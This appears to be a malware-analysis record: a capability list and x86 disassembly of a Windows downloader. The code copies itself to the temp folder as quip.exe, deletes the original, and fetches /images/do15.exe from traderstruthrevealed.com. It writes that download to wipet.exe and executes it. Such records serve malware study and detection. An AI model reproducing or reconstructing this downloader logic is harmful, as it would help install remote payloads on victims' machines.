Function at 0x401020
Capabilities:
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x83c
push edi
push ebx
push esi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0xffffffff
jne 0x401042
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
mov esi, 0x2000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 8
push eax
mov dword [ebp - 0x14], eax
call ebx
push esi
push 8
push dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
call ebx
push esi
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 4]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.quip.exe
push dword [ebp - 4]
push 0x402088
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x4010c8
pop esi
xor eax, eax
pop ebx
inc eax
pop edi
leave
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x18], eax
call esi
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp - 0x14]
call ebx
mov dword [ebp - 0x10], eax
cmp eax, edi
je 0x40103a
push edi
lea ecx, [ebp - 0x1c]
push ecx
push dword [ebp - 0x18]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4011b1
push dword [ebp - 0xc]
call esi
mov ebx, dword [ebp - 0x18]
lea eax, [eax + eax + 2]
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, ebx
push eax
call section..text
push edi
push 0x80
push 2
push edi
push 2
push 0x40000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x4010c0
push edi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0xc]
call esi
lea eax, [ebx + eax*2 + 4]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x14]
call ebx
push dword [ebp - 0xc]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
push dword [ebp - 0xc]
push edi
push dword [ebp - 4]
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
jmp 0x40103c
mov esi, dword [ebp - 0x10]
mov eax, dword [esi + 0x3c]
push dword [ebp - 8]
add eax, esi
movzx ecx, word [eax + 6]
imul ecx, ecx, 0x28
lea eax, [ecx + eax + 0xd0]
mov esi, dword [eax + 0x14]
add esi, dword [eax + 0x10]
add esi, dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], edi
jmp 0x4011ea
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x4e20
jg 0x4011f5
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x4011de
push edi
push edi
push edi
push edi
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x4010c0
mov esi, dword [sym.imp.WININET.dll_InternetConnectW]
push edi
push edi
push 3
push edi
push edi
push 0x1bb
push str.traderstruthrevealed.com
push eax
jmp 0x40123a
push edi
push 3
push edi
push edi
push 0x1bb
push str.traderstruthrevealed.com
push dword [ebp - 0x18]
call esi
mov dword [ebp - 8], eax
push edi
cmp eax, edi
je 0x401228
mov esi, dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp - 0x38], str.text_
mov dword [ebp - 0x34], str.application_
mov dword [ebp - 0x30], edi
jmp 0x40125e
push edi
push 0x80803000
lea eax, [ebp - 0x38]
push eax
push edi
push edi
push str._images_do15.exe
push edi
push dword [ebp - 8]
call esi
mov dword [ebp - 4], eax
cmp eax, edi
je 0x40125d
push 4
pop esi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x1f
push dword [ebp - 4]
mov dword [ebp - 0x2c], esi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
or dword [ebp - 0x24], 0x100
push esi
lea eax, [ebp - 0x24]
push eax
push 0x1f
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push edi
push edi
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x4012ab
push edi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x20000005
push dword [ebp - 4]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], edi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
push dword [ebp - 0x20]
push 8
push dword [ebp - 0x14]
call ebx
mov dword [ebp - 0x10], eax
cmp eax, edi
je 0x4010c0
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4012f1
mov eax, dword [ebp - 0x1c]
cmp eax, edi
je 0x401319
cmp eax, dword [ebp - 0x20]
je 0x401319
add dword [ebp - 0x10], eax
jmp 0x4012f1
push edi
push 0x80
push 2
push edi
push 2
push 0x40000000
mov ebx, str.wipet.exe
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
mov esi, eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x83c]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
lea eax, [ebp - 0x83c]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push edi
push edi
push edi
lea eax, [ebp - 0x83c]
push eax
jmp 0x40119f